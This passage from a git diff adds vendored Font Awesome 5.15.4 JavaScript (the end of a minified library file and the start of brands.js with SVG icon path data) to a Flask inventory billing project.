0.9375em;\n}\n.svg-inline--fa.fa-w-16 {\n width: 1em;\n}\n.svg-inline--fa.fa-w-17 {\n width: 1.0625em;\n}\n.svg-inline--fa.fa-w-18 {\n width: 1.125em;\n}\n.svg-inline--fa.fa-w-19 {\n width: 1.1875em;\n}\n.svg-inline--fa.fa-w-20 {\n width: 1.25em;\n}\n.svg-inline--fa.fa-pull-left {\n margin-right: 0.3em;\n width: auto;\n}\n.svg-inline--fa.fa-pull-right {\n margin-left: 0.3em;\n width: auto;\n}\n.svg-inline--fa.fa-border {\n height: 1.5em;\n}\n.svg-inline--fa.fa-li {\n width: 2em;\n}\n.svg-inline--fa.fa-fw {\n width: 1.25em;\n}\n\n.fa-layers svg.svg-inline--fa {\n bottom: 0;\n left: 0;\n margin: auto;\n position: absolute;\n right: 0;\n top: 0;\n}\n\n.fa-layers {\n display: inline-block;\n height: 1em;\n position: relative;\n text-align: center;\n vertical-align: -0.125em;\n width: 1em;\n}\n.fa-layers svg.svg-inline--fa {\n -webkit-transform-origin: center center;\n transform-origin: center center;\n}\n\n.fa-layers-counter, .fa-layers-text {\n display: inline-block;\n position: absolute;\n text-align: center;\n}\n\n.fa-layers-text {\n left: 50%;\n top: 50%;\n -webkit-transform: translate(-50%, -50%);\n transform: translate(-50%, -50%);\n -webkit-transform-origin: center center;\n transform-origin: center center;\n}\n\n.fa-layers-counter {\n background-color: #ff253a;\n border-radius: 1em;\n -webkit-box-sizing: border-box;\n box-sizing: border-box;\n color: #fff;\n height: 1.5em;\n line-height: 1;\n max-width: 5em;\n min-width: 1.5em;\n overflow: hidden;\n padding: 0.25em;\n right: 0;\n text-overflow: ellipsis;\n top: 0;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: top right;\n transform-origin: top right;\n}\n\n.fa-layers-bottom-right {\n bottom: 0;\n right: 0;\n top: auto;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: bottom right;\n transform-origin: bottom right;\n}\n\n.fa-layers-bottom-left {\n bottom: 0;\n left: 0;\n right: auto;\n top: auto;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: bottom left;\n transform-origin: bottom left;\n}\n\n.fa-layers-top-right {\n right: 0;\n top: 0;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: top right;\n transform-origin: top right;\n}\n\n.fa-layers-top-left {\n left: 0;\n right: auto;\n top: 0;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: top left;\n transform-origin: top left;\n}\n\n.fa-lg {\n font-size: 1.3333333333em;\n line-height: 0.75em;\n vertical-align: -0.0667em;\n}\n\n.fa-xs {\n font-size: 0.75em;\n}\n\n.fa-sm {\n font-size: 0.875em;\n}\n\n.fa-1x {\n font-size: 1em;\n}\n\n.fa-2x {\n font-size: 2em;\n}\n\n.fa-3x {\n font-size: 3em;\n}\n\n.fa-4x {\n font-size: 4em;\n}\n\n.fa-5x {\n font-size: 5em;\n}\n\n.fa-6x {\n font-size: 6em;\n}\n\n.fa-7x {\n font-size: 7em;\n}\n\n.fa-8x {\n font-size: 8em;\n}\n\n.fa-9x {\n font-size: 9em;\n}\n\n.fa-10x {\n font-size: 10em;\n}\n\n.fa-fw {\n text-align: center;\n width: 1.25em;\n}\n\n.fa-ul {\n list-style-type: none;\n margin-left: 2.5em;\n padding-left: 0;\n}\n.fa-ul > li {\n position: relative;\n}\n\n.fa-li {\n left: -2em;\n position: absolute;\n text-align: center;\n width: 2em;\n line-height: inherit;\n}\n\n.fa-border {\n border: solid 0.08em #eee;\n border-radius: 0.1em;\n padding: 0.2em 0.25em 0.15em;\n}\n\n.fa-pull-left {\n float: left;\n}\n\n.fa-pull-right {\n float: right;\n}\n\n.fa.fa-pull-left,\n.fas.fa-pull-left,\n.far.fa-pull-left,\n.fal.fa-pull-left,\n.fab.fa-pull-left {\n margin-right: 0.3em;\n}\n.fa.fa-pull-right,\n.fas.fa-pull-right,\n.far.fa-pull-right,\n.fal.fa-pull-right,\n.fab.fa-pull-right {\n margin-left: 0.3em;\n}\n\n.fa-spin {\n -webkit-animation: fa-spin 2s infinite linear;\n animation: fa-spin 2s infinite linear;\n}\n\n.fa-pulse {\n -webkit-animation: fa-spin 1s infinite steps(8);\n animation: fa-spin 1s infinite steps(8);\n}\n\n@-webkit-keyframes fa-spin {\n 0% {\n -webkit-transform: rotate(0deg);\n transform: rotate(0deg);\n }\n 100% {\n -webkit-transform: rotate(360deg);\n transform: rotate(360deg);\n }\n}\n\n@keyframes fa-spin {\n 0% {\n -webkit-transform: rotate(0deg);\n transform: rotate(0deg);\n }\n 100% {\n -webkit-transform: rotate(360deg);\n transform: rotate(360deg);\n }\n}\n.fa-rotate-90 {\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";\n -webkit-transform: rotate(90deg);\n transform: rotate(90deg);\n}\n\n.fa-rotate-180 {\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";\n -webkit-transform: rotate(180deg);\n transform: rotate(180deg);\n}\n\n.fa-rotate-270 {\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";\n -webkit-transform: rotate(270deg);\n transform: rotate(270deg);\n}\n\n.fa-flip-horizontal {\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";\n -webkit-transform: scale(-1, 1);\n transform: scale(-1, 1);\n}\n\n.fa-flip-vertical {\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";\n -webkit-transform: scale(1, -1);\n transform: scale(1, -1);\n}\n\n.fa-flip-both, .fa-flip-horizontal.fa-flip-vertical {\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";\n -webkit-transform: scale(-1, -1);\n transform: scale(-1, -1);\n}\n\n:root .fa-rotate-90,\n:root .fa-rotate-180,\n:root .fa-rotate-270,\n:root .fa-flip-horizontal,\n:root .fa-flip-vertical,\n:root .fa-flip-both {\n -webkit-filter: none;\n filter: none;\n}\n\n.fa-stack {\n display: inline-block;\n height: 2em;\n position: relative;\n width: 2.5em;\n}\n\n.fa-stack-1x,\n.fa-stack-2x {\n bottom: 0;\n left: 0;\n margin: auto;\n position: absolute;\n right: 0;\n top: 0;\n}\n\n.svg-inline--fa.fa-stack-1x {\n height: 1em;\n width: 1.25em;\n}\n.svg-inline--fa.fa-stack-2x {\n height: 2em;\n width: 2.5em;\n}\n\n.fa-inverse {\n color: #fff;\n}\n\n.sr-only {\n border: 0;\n clip: rect(0, 0, 0, 0);\n height: 1px;\n margin: -1px;\n overflow: hidden;\n padding: 0;\n position: absolute;\n width: 1px;\n}\n\n.sr-only-focusable:active, .sr-only-focusable:focus {\n clip: auto;\n height: auto;\n margin: 0;\n overflow: visible;\n position: static;\n width: auto;\n}\n\n.svg-inline--fa .fa-primary {\n fill: var(--fa-primary-color, currentColor);\n opacity: 1;\n opacity: var(--fa-primary-opacity, 1);\n}\n\n.svg-inline--fa .fa-secondary {\n fill: var(--fa-secondary-color, currentColor);\n opacity: 0.4;\n opacity: var(--fa-secondary-opacity, 0.4);\n}\n\n.svg-inline--fa.fa-swap-opacity .fa-primary {\n opacity: 0.4;\n opacity: var(--fa-secondary-opacity, 0.4);\n}\n\n.svg-inline--fa.fa-swap-opacity .fa-secondary {\n opacity: 1;\n opacity: var(--fa-primary-opacity, 1);\n}\n\n.svg-inline--fa mask .fa-primary,\n.svg-inline--fa mask .fa-secondary {\n fill: black;\n}\n\n.fad.fa-inverse {\n color: #fff;\n}'; + function Zl() { + var c = i, l = L, h = lc.familyPrefix, a = lc.replacementClass, z = wl; + if (h !== c || a !== l) { + var v = new RegExp("\\.".concat(c, "\\-"), "g"), m = new RegExp("\\--".concat(c, "\\-"), "g"), e = new RegExp("\\.".concat(l), "g"); + z = z.replace(v, ".".concat(h, "-")).replace(m, "--".concat(h, "-")).replace(e, ".".concat(a)); + } + return z; + } + function kl() { + lc.autoAddCss && !Pl && (dc(Zl()), Pl = !0); + } + function xl(l, c) { + return Object.defineProperty(l, "abstract", { + get: c + }), Object.defineProperty(l, "html", { + get: function() { + return l.abstract.map(function(c) { + return Jc(c); + }); + } + }), Object.defineProperty(l, "node", { + get: function() { + if (r) { + var c = C.createElement("div"); + return c.innerHTML = l.html, c.children; + } + } + }), l; + } + function ql(c) { + var l = c.prefix, h = void 0 === l ? "fa" : l, a = c.iconName; + if (a) return Kc(jl.definitions, h, a) || Kc(F.styles, h, a); + } + var Ol, jl = new (function() { + function c() { + !function(c, l) { + if (!(c instanceof l)) throw new TypeError("Cannot call a class as a function"); + }(this, c), this.definitions = {}; + } + var l, h, a; + return l = c, (h = [ { + key: "add", + value: function() { + for (var l = this, c = arguments.length, h = new Array(c), a = 0; a < c; a++) h[a] = arguments[a]; + var z = h.reduce(this._pullDefinitions, {}); + Object.keys(z).forEach(function(c) { + l.definitions[c] = $({}, l.definitions[c] || {}, z[c]), function c(l, a) { + var h = (2 < arguments.length && void 0 !== arguments[2] ? arguments[2] : {}).skipHooks, z = void 0 !== h && h, v = Object.keys(a).reduce(function(c, l) { + var h = a[l]; + return h.icon ? c[h.iconName] = h.icon : c[l] = h, c; + }, {}); + "function" != typeof F.hooks.addPack || z ? F.styles[l] = $({}, F.styles[l] || {}, v) : F.hooks.addPack(l, v), + "fas" === l && c("fa", a); + }(c, z[c]), Bc(); + }); + } + }, { + key: "reset", + value: function() { + this.definitions = {}; + } + }, { + key: "_pullDefinitions", + value: function(v, c) { + var m = c.prefix && c.iconName && c.icon ? { + 0: c + } : c; + return Object.keys(m).map(function(c) { + var l = m[c], h = l.prefix, a = l.iconName, z = l.icon; + v[h] || (v[h] = {}), v[h][a] = z; + }), v; + } + } ]) && v(l.prototype, h), a && v(l, a), c; + }())(), Pl = !1, El = { + i2svg: function() { + var c = 0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : {}; + if (r) { + kl(); + var l = c.node, h = void 0 === l ? C : l, a = c.callback, z = void 0 === a ? function() {} : a; + return lc.searchPseudoElements && yl(h), pl(h, z); + } + return oc.reject("Operation requires a DOM of some kind."); + }, + css: Zl, + insertCss: function() { + Pl || (dc(Zl()), Pl = !0); + }, + watch: function() { + var c = 0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : {}, l = c.autoReplaceSvgRoot, h = c.observeMutationsRoot; + !1 === lc.autoReplaceSvg && (lc.autoReplaceSvg = !0), lc.observeMutations = !0, + B(function() { + Il({ + autoReplaceSvgRoot: l + }), el({ + treeCallback: pl, + nodeCallback: bl, + pseudoElementsCallback: yl, + observeMutationsRoot: h + }); + }); + } + }, Nl = (Ol = function(c) { + var l = 1 < arguments.length && void 0 !== arguments[1] ? arguments[1] : {}, h = l.transform, a = void 0 === h ? Lc : h, z = l.symbol, v = void 0 !== z && z, m = l.mask, e = void 0 === m ? null : m, s = l.maskId, t = void 0 === s ? null : s, M = l.title, n = void 0 === M ? null : M, f = l.titleId, r = void 0 === f ? null : f, H = l.classes, V = void 0 === H ? [] : H, i = l.attributes, o = void 0 === i ? {} : i, C = l.styles, L = void 0 === C ? {} : C; + if (c) { + var d = c.prefix, u = c.iconName, p = c.icon; + return xl($({ + type: "icon" + }, c), function() { + return kl(), lc.autoA11y && (n ? o["aria-labelledby"] = "".concat(lc.replacementClass, "-title-").concat(r || pc()) : (o["aria-hidden"] = "true", + o.focusable = "false")), qc({ + icons: { + main: Cl(p), + mask: e ? Cl(e.icon) : { + found: !1, + width: null, + height: null, + icon: {} + } + }, + prefix: d, + iconName: u, + transform: $({}, Lc, a), + symbol: v, + title: n, + maskId: t, + titleId: r, + extra: { + attributes: o, + styles: L, + classes: V + } + }); + }); + } + }, function(c) { + var l = 1 < arguments.length && void 0 !== arguments[1] ? arguments[1] : {}, h = (c || {}).icon ? c : ql(c || {}), a = l.mask; + return a && (a = (a || {}).icon ? a : ql(a || {})), Ol(h, $({}, l, { + mask: a + })); + }), _l = { + noAuto: function() { + lc.autoReplaceSvg = !1, lc.observeMutations = !1, ml && ml.disconnect(); + }, + config: lc, + dom: El, + library: jl, + parse: { + transform: function(c) { + return tl(c); + } + }, + findIconDefinition: ql, + icon: Nl, + text: function(c) { + var l = 1 < arguments.length && void 0 !== arguments[1] ? arguments[1] : {}, h = l.transform, a = void 0 === h ? Lc : h, z = l.title, v = void 0 === z ? null : z, m = l.classes, e = void 0 === m ? [] : m, s = l.attributes, t = void 0 === s ? {} : s, M = l.styles, n = void 0 === M ? {} : M; + return xl({ + type: "text", + content: c + }, function() { + return kl(), Oc({ + content: c, + transform: $({}, Lc, a), + title: v, + extra: { + attributes: t, + styles: n, + classes: [ "".concat(lc.familyPrefix, "-layers-text") ].concat(f(e)) + } + }); + }); + }, + counter: function(c) { + var l = 1 < arguments.length && void 0 !== arguments[1] ? arguments[1] : {}, h = l.title, a = void 0 === h ? null : h, z = l.classes, v = void 0 === z ? [] : z, m = l.attributes, e = void 0 === m ? {} : m, s = l.styles, t = void 0 === s ? {} : s; + return xl({ + type: "counter", + content: c + }, function() { + return kl(), function(c) { + var l = c.content, h = c.title, a = c.extra, z = $({}, a.attributes, h ? { + title: h + } : {}, { + class: a.classes.join(" ") + }), v = yc(a.styles); + 0 < v.length && (z.style = v); + var m = []; + return m.push({ + tag: "span", + attributes: z, + children: [ l ] + }), h && m.push({ + tag: "span", + attributes: { + class: "sr-only" + }, + children: [ h ] + }), m; + }({ + content: c.toString(), + title: a, + extra: { + attributes: e, + styles: t, + classes: [ "".concat(lc.familyPrefix, "-layers-counter") ].concat(f(v)) + } + }); + }); + }, + layer: function(c) { + var l = (1 < arguments.length && void 0 !== arguments[1] ? arguments[1] : {}).classes, h = void 0 === l ? [] : l; + return xl({ + type: "layer" + }, function() { + kl(); + var l = []; + return c(function(c) { + Array.isArray(c) ? c.map(function(c) { + l = l.concat(c.abstract); + }) : l = l.concat(c.abstract); + }), [ { + tag: "span", + attributes: { + class: [ "".concat(lc.familyPrefix, "-layers") ].concat(f(h)).join(" ") + }, + children: l + } ]; + }); + }, + toHtml: Jc + }, Il = function() { + var c = (0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : {}).autoReplaceSvgRoot, l = void 0 === c ? C : c; + (0 < Object.keys(F.styles).length || lc.autoFetchSvg) && r && lc.autoReplaceSvg && _l.dom.i2svg({ + node: l + }); + }; + !function(c) { + try { + c(); + } catch (c) { + if (!Z) throw c; + } + }(function() { + n && (o.FontAwesome || (o.FontAwesome = _l), B(function() { + Il(), el({ + treeCallback: pl, + nodeCallback: bl, + pseudoElementsCallback: yl + }); + })), F.hooks = $({}, F.hooks, { + addPack: function(c, l) { + F.styles[c] = $({}, F.styles[c] || {}, l), Bc(), Il(); + }, + addShims: function(c) { + var l; + (l = F.shims).push.apply(l, f(c)), Bc(), Il(); + } + }); + }); +}(); \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/brands.js b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/brands.js new file mode 100644 index 00000000..bd2da658 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/brands.js @@ -0,0 +1,585 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +(function () { + 'use strict'; + + var _WINDOW = {}; + var _DOCUMENT = {}; + + try { + if (typeof window !== 'undefined') _WINDOW = window; + if (typeof document !== 'undefined') _DOCUMENT = document; + } catch (e) {} + + var _ref = _WINDOW.navigator || {}, + _ref$userAgent = _ref.userAgent, + userAgent = _ref$userAgent === void 0 ? '' : _ref$userAgent; + + var WINDOW = _WINDOW; + var DOCUMENT = _DOCUMENT; + var IS_BROWSER = !!WINDOW.document; + var IS_DOM = !!DOCUMENT.documentElement && !!DOCUMENT.head && typeof DOCUMENT.addEventListener === 'function' && typeof DOCUMENT.createElement === 'function'; + var IS_IE = ~userAgent.indexOf('MSIE') || ~userAgent.indexOf('Trident/'); + + var NAMESPACE_IDENTIFIER = '___FONT_AWESOME___'; + var PRODUCTION = function () { + try { + return undefined === 'production'; + } catch (e) { + return false; + } + }(); + + function bunker(fn) { + try { + fn(); + } catch (e) { + if (!PRODUCTION) { + throw e; + } + } + } + + function _defineProperty(obj, key, value) { + if (key in obj) { + Object.defineProperty(obj, key, { + value: value, + enumerable: true, + configurable: true, + writable: true + }); + } else { + obj[key] = value; + } + + return obj; + } + + function _objectSpread(target) { + for (var i = 1; i < arguments.length; i++) { + var source = arguments[i] != null ? arguments[i] : {}; + var ownKeys = Object.keys(source); + + if (typeof Object.getOwnPropertySymbols === 'function') { + ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) { + return Object.getOwnPropertyDescriptor(source, sym).enumerable; + })); + } + + ownKeys.forEach(function (key) { + _defineProperty(target, key, source[key]); + }); + } + + return target; + } + + var w = WINDOW || {}; + if (!w[NAMESPACE_IDENTIFIER]) w[NAMESPACE_IDENTIFIER] = {}; + if (!w[NAMESPACE_IDENTIFIER].styles) w[NAMESPACE_IDENTIFIER].styles = {}; + if (!w[NAMESPACE_IDENTIFIER].hooks) w[NAMESPACE_IDENTIFIER].hooks = {}; + if (!w[NAMESPACE_IDENTIFIER].shims) w[NAMESPACE_IDENTIFIER].shims = []; + var namespace = w[NAMESPACE_IDENTIFIER]; + + function defineIcons(prefix, icons) { + var params = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {}; + var _params$skipHooks = params.skipHooks, + skipHooks = _params$skipHooks === void 0 ? false : _params$skipHooks; + var normalized = Object.keys(icons).reduce(function (acc, iconName) { + var icon = icons[iconName]; + var expanded = !!icon.icon; + + if (expanded) { + acc[icon.iconName] = icon.icon; + } else { + acc[iconName] = icon; + } + + return acc; + }, {}); + + if (typeof namespace.hooks.addPack === 'function' && !skipHooks) { + namespace.hooks.addPack(prefix, normalized); + } else { + namespace.styles[prefix] = _objectSpread({}, namespace.styles[prefix] || {}, normalized); + } + /** + * Font Awesome 4 used the prefix of `fa` for all icons. With the introduction + * of new styles we needed to differentiate between them. Prefix `fa` is now an alias + * for `fas` so we'll easy the upgrade process for our users by automatically defining + * this as well. + */ + + + if (prefix === 'fas') { + defineIcons('fa', icons); + } + } + + var icons = { + "500px": [448, 512, [], "f26e", "M103.3 344.3c-6.5-14.2-6.9-18.3 7.4-23.1 25.6-8 8 9.2 43.2 49.2h.3v-93.9c1.2-50.2 44-92.2 97.7-92.2 53.9 0 97.7 43.5 97.7 96.8 0 63.4-60.8 113.2-128.5 93.3-10.5-4.2-2.1-31.7 8.5-28.6 53 0 89.4-10.1 89.4-64.4 0-61-77.1-89.6-116.9-44.6-23.5 26.4-17.6 42.1-17.6 157.6 50.7 31 118.3 22 160.4-20.1 24.8-24.8 38.5-58 38.5-93 0-35.2-13.8-68.2-38.8-93.3-24.8-24.8-57.8-38.5-93.3-38.5s-68.8 13.8-93.5 38.5c-.3.3-16 16.5-21.2 23.9l-.5.6c-3.3 4.7-6.3 9.1-20.1 6.1-6.9-1.7-14.3-5.8-14.3-11.8V20c0-5 3.9-10.5 10.5-10.5h241.3c8.3 0 8.3 11.6 8.3 15.1 0 3.9 0 15.1-8.3 15.1H130.3v132.9h.3c104.2-109.8 282.8-36 282.8 108.9 0 178.1-244.8 220.3-310.1 62.8zm63.3-260.8c-.5 4.2 4.6 24.5 14.6 20.6C306 56.6 384 144.5 390.6 144.5c4.8 0 22.8-15.3 14.3-22.8-93.2-89-234.5-57-238.3-38.2zM393 414.7C283 524.6 94 475.5 61 310.5c0-12.2-30.4-7.4-28.9 3.3 24 173.4 246 256.9 381.6 121.3 6.9-7.8-12.6-28.4-20.7-20.4zM213.6 306.6c0 4 4.3 7.3 5.5 8.5 3 3 6.1 4.4 8.5 4.4 3.8 0 2.6.2 22.3-19.5 19.6 19.3 19.1 19.5 22.3 19.5 5.4 0 18.5-10.4 10.7-18.2L265.6 284l18.2-18.2c6.3-6.8-10.1-21.8-16.2-15.7L249.7 268c-18.6-18.8-18.4-19.5-21.5-19.5-5 0-18 11.7-12.4 17.3L234 284c-18.1 17.9-20.4 19.2-20.4 22.6z"], + "accessible-icon": [448, 512, [], "f368", "M423.9 255.8L411 413.1c-3.3 40.7-63.9 35.1-60.6-4.9l10-122.5-41.1 2.3c10.1 20.7 15.8 43.9 15.8 68.5 0 41.2-16.1 78.7-42.3 106.5l-39.3-39.3c57.9-63.7 13.1-167.2-74-167.2-25.9 0-49.5 9.9-67.2 26L73 243.2c22-20.7 50.1-35.1 81.4-40.2l75.3-85.7-42.6-24.8-51.6 46c-30 26.8-70.6-18.5-40.5-45.4l68-60.7c9.8-8.8 24.1-10.2 35.5-3.6 0 0 139.3 80.9 139.5 81.1 16.2 10.1 20.7 36 6.1 52.6L285.7 229l106.1-5.9c18.5-1.1 33.6 14.4 32.1 32.7zm-64.9-154c28.1 0 50.9-22.8 50.9-50.9C409.9 22.8 387.1 0 359 0c-28.1 0-50.9 22.8-50.9 50.9 0 28.1 22.8 50.9 50.9 50.9zM179.6 456.5c-80.6 0-127.4-90.6-82.7-156.1l-39.7-39.7C36.4 287 24 320.3 24 356.4c0 130.7 150.7 201.4 251.4 122.5l-39.7-39.7c-16 10.9-35.3 17.3-56.1 17.3z"], + "accusoft": [640, 512, [], "f369", "M322.1 252v-1l-51.2-65.8s-12 1.6-25 15.1c-9 9.3-242.1 239.1-243.4 240.9-7 10 1.6 6.8 15.7 1.7.8 0 114.5-36.6 114.5-36.6.5-.6-.1-.1.6-.6-.4-5.1-.8-26.2-1-27.7-.6-5.2 2.2-6.9 7-8.9l92.6-33.8c.6-.8 88.5-81.7 90.2-83.3zm160.1 120.1c13.3 16.1 20.7 13.3 30.8 9.3 3.2-1.2 115.4-47.6 117.8-48.9 8-4.3-1.7-16.7-7.2-23.4-2.1-2.5-205.1-245.6-207.2-248.3-9.7-12.2-14.3-12.9-38.4-12.8-10.2 0-106.8.5-116.5.6-19.2.1-32.9-.3-19.2 16.9C250 75 476.5 365.2 482.2 372.1zm152.7 1.6c-2.3-.3-24.6-4.7-38-7.2 0 0-115 50.4-117.5 51.6-16 7.3-26.9-3.2-36.7-14.6l-57.1-74c-5.4-.9-60.4-9.6-65.3-9.3-3.1.2-9.6.8-14.4 2.9-4.9 2.1-145.2 52.8-150.2 54.7-5.1 2-11.4 3.6-11.1 7.6.2 2.5 2 2.6 4.6 3.5 2.7.8 300.9 67.6 308 69.1 15.6 3.3 38.5 10.5 53.6 1.7 2.1-1.2 123.8-76.4 125.8-77.8 5.4-4 4.3-6.8-1.7-8.2z"], + "acquisitions-incorporated": [384, 512, [], "f6af", "M357.45 468.2c-1.2-7.7-1.3-7.6-9.6-7.6-99.8.2-111.8-2.4-112.7-2.6-12.3-1.7-20.6-10.5-21-23.1-.1-1.6-.2-71.6-1-129.1-.1-4.7 1.6-6.4 5.9-7.5 12.5-3 24.9-6.1 37.3-9.7 4.3-1.3 6.8-.2 8.4 3.5 4.5 10.3 8.8 20.6 13.2 30.9 1.6 3.7.1 4.4-3.4 4.4-10-.2-20-.1-30.4-.1v27h116c-1.4-9.5-2.7-18.1-4-27.5-7 0-13.8.4-20.4-.1-22.6-1.6-18.3-4.4-84-158.6-8.8-20.1-27.9-62.1-36.5-89.2-4.4-14 5.5-25.4 18.9-26.6 18.6-1.7 37.5-1.6 56.2-2 20.6-.4 41.2-.4 61.8-.5 3.1 0 4-1.4 4.3-4.3 1.2-9.8 2.7-19.5 4-29.2.8-5.3 1.6-10.7 2.4-16.1L23.75 0c-3.6 0-5.3 1.1-4.6 5.3 2.2 13.2-.8.8 6.4 45.3 63.4 0 71.8.9 101.8.5 12.3-.2 37 3.5 37.7 22.1.4 11.4-1.1 11.3-32.6 87.4-53.8 129.8-50.7 120.3-67.3 161-1.7 4.1-3.6 5.2-7.6 5.2-8.5-.2-17-.3-25.4.1-1.9.1-5.2 1.8-5.5 3.2-1.5 8.1-2.2 16.3-3.2 24.9h114.3v-27.6c-6.9 0-33.5.4-35.3-2.9 5.3-12.3 10.4-24.4 15.7-36.7 16.3 4 31.9 7.8 47.6 11.7 3.4.9 4.6 3 4.6 6.8-.1 42.9.1 85.9.2 128.8 0 10.2-5.5 19.1-14.9 23.1-6.5 2.7-3.3 3.4-121.4 2.4-5.3 0-7.1 2-7.6 6.8-1.5 12.9-2.9 25.9-5 38.8-.8 5 1.3 5.7 5.3 5.7 183.2.6-30.7 0 337.1 0-2.5-15-4.4-29.4-6.6-43.7zm-174.9-205.7c-13.3-4.2-26.6-8.2-39.9-12.5a44.53 44.53 0 0 1-5.8-2.9c17.2-44.3 34.2-88.1 51.3-132.1 7.5 2.4 7.9-.8 9.4 0 9.3 22.5 18.1 60.1 27 82.8 6.6 16.7 13 33.5 19.7 50.9a35.78 35.78 0 0 1-3.9 2.1c-13.1 3.9-26.4 7.5-39.4 11.7a27.66 27.66 0 0 1-18.4 0z"], + "adn": [496, 512, [], "f170", "M248 167.5l64.9 98.8H183.1l64.9-98.8zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-99.8 82.7L248 115.5 99.8 338.7h30.4l33.6-51.7h168.6l33.6 51.7h30.2z"], + "adversal": [512, 512, [], "f36a", "M482.1 32H28.7C5.8 32 0 37.9 0 60.9v390.2C0 474.4 5.8 480 28.7 480h453.4c24.4 0 29.9-5.2 29.9-29.7V62.2c0-24.6-5.4-30.2-29.9-30.2zM178.4 220.3c-27.5-20.2-72.1-8.7-84.2 23.4-4.3 11.1-9.3 9.5-17.5 8.3-9.7-1.5-17.2-3.2-22.5-5.5-28.8-11.4 8.6-55.3 24.9-64.3 41.1-21.4 83.4-22.2 125.3-4.8 40.9 16.8 34.5 59.2 34.5 128.5 2.7 25.8-4.3 58.3 9.3 88.8 1.9 4.4.4 7.9-2.7 10.7-8.4 6.7-39.3 2.2-46.6-7.4-1.9-2.2-1.8-3.6-3.9-6.2-3.6-3.9-7.3-2.2-11.9 1-57.4 36.4-140.3 21.4-147-43.3-3.1-29.3 12.4-57.1 39.6-71 38.2-19.5 112.2-11.8 114-30.9 1.1-10.2-1.9-20.1-11.3-27.3zm286.7 222c0 15.1-11.1 9.9-17.8 9.9H52.4c-7.4 0-18.2 4.8-17.8-10.7.4-13.9 10.5-9.1 17.1-9.1 132.3-.4 264.5-.4 396.8 0 6.8 0 16.6-4.4 16.6 9.9zm3.8-340.5v291c0 5.7-.7 13.9-8.1 13.9-12.4-.4-27.5 7.1-36.1-5.6-5.8-8.7-7.8-4-12.4-1.2-53.4 29.7-128.1 7.1-144.4-85.2-6.1-33.4-.7-67.1 15.7-100 11.8-23.9 56.9-76.1 136.1-30.5v-71c0-26.2-.1-26.2 26-26.2 3.1 0 6.6.4 9.7 0 10.1-.8 13.6 4.4 13.6 14.3-.1.2-.1.3-.1.5zm-51.5 232.3c-19.5 47.6-72.9 43.3-90 5.2-15.1-33.3-15.5-68.2.4-101.5 16.3-34.1 59.7-35.7 81.5-4.8 20.6 28.8 14.9 84.6 8.1 101.1zm-294.8 35.3c-7.5-1.3-33-3.3-33.7-27.8-.4-13.9 7.8-23 19.8-25.8 24.4-5.9 49.3-9.9 73.7-14.7 8.9-2 7.4 4.4 7.8 9.5 1.4 33-26.1 59.2-67.6 58.8z"], + "affiliatetheme": [512, 512, [], "f36b", "M159.7 237.4C108.4 308.3 43.1 348.2 14 326.6-15.2 304.9 2.8 230 54.2 159.1c51.3-70.9 116.6-110.8 145.7-89.2 29.1 21.6 11.1 96.6-40.2 167.5zm351.2-57.3C437.1 303.5 319 367.8 246.4 323.7c-25-15.2-41.3-41.2-49-73.8-33.6 64.8-92.8 113.8-164.1 133.2 49.8 59.3 124.1 96.9 207 96.9 150 0 271.6-123.1 271.6-274.9.1-8.5-.3-16.8-1-25z"], + "airbnb": [448, 512, [], "f834", "M224 373.12c-25.24-31.67-40.08-59.43-45-83.18-22.55-88 112.61-88 90.06 0-5.45 24.25-20.29 52-45 83.18zm138.15 73.23c-42.06 18.31-83.67-10.88-119.3-50.47 103.9-130.07 46.11-200-18.85-200-54.92 0-85.16 46.51-73.28 100.5 6.93 29.19 25.23 62.39 54.43 99.5-32.53 36.05-60.55 52.69-85.15 54.92-50 7.43-89.11-41.06-71.3-91.09 15.1-39.16 111.72-231.18 115.87-241.56 15.75-30.07 25.56-57.4 59.38-57.4 32.34 0 43.4 25.94 60.37 59.87 36 70.62 89.35 177.48 114.84 239.09 13.17 33.07-1.37 71.29-37.01 86.64zm47-136.12C280.27 35.93 273.13 32 224 32c-45.52 0-64.87 31.67-84.66 72.79C33.18 317.1 22.89 347.19 22 349.81-3.22 419.14 48.74 480 111.63 480c21.71 0 60.61-6.06 112.37-62.4 58.68 63.78 101.26 62.4 112.37 62.4 62.89.05 114.85-60.86 89.61-130.19.02-3.89-16.82-38.9-16.82-39.58z"], + "algolia": [448, 512, [], "f36c", "M229.3 182.6c-49.3 0-89.2 39.9-89.2 89.2 0 49.3 39.9 89.2 89.2 89.2s89.2-39.9 89.2-89.2c0-49.3-40-89.2-89.2-89.2zm62.7 56.6l-58.9 30.6c-1.8.9-3.8-.4-3.8-2.3V201c0-1.5 1.3-2.7 2.7-2.6 26.2 1 48.9 15.7 61.1 37.1.7 1.3.2 3-1.1 3.7zM389.1 32H58.9C26.4 32 0 58.4 0 90.9V421c0 32.6 26.4 59 58.9 59H389c32.6 0 58.9-26.4 58.9-58.9V90.9C448 58.4 421.6 32 389.1 32zm-202.6 84.7c0-10.8 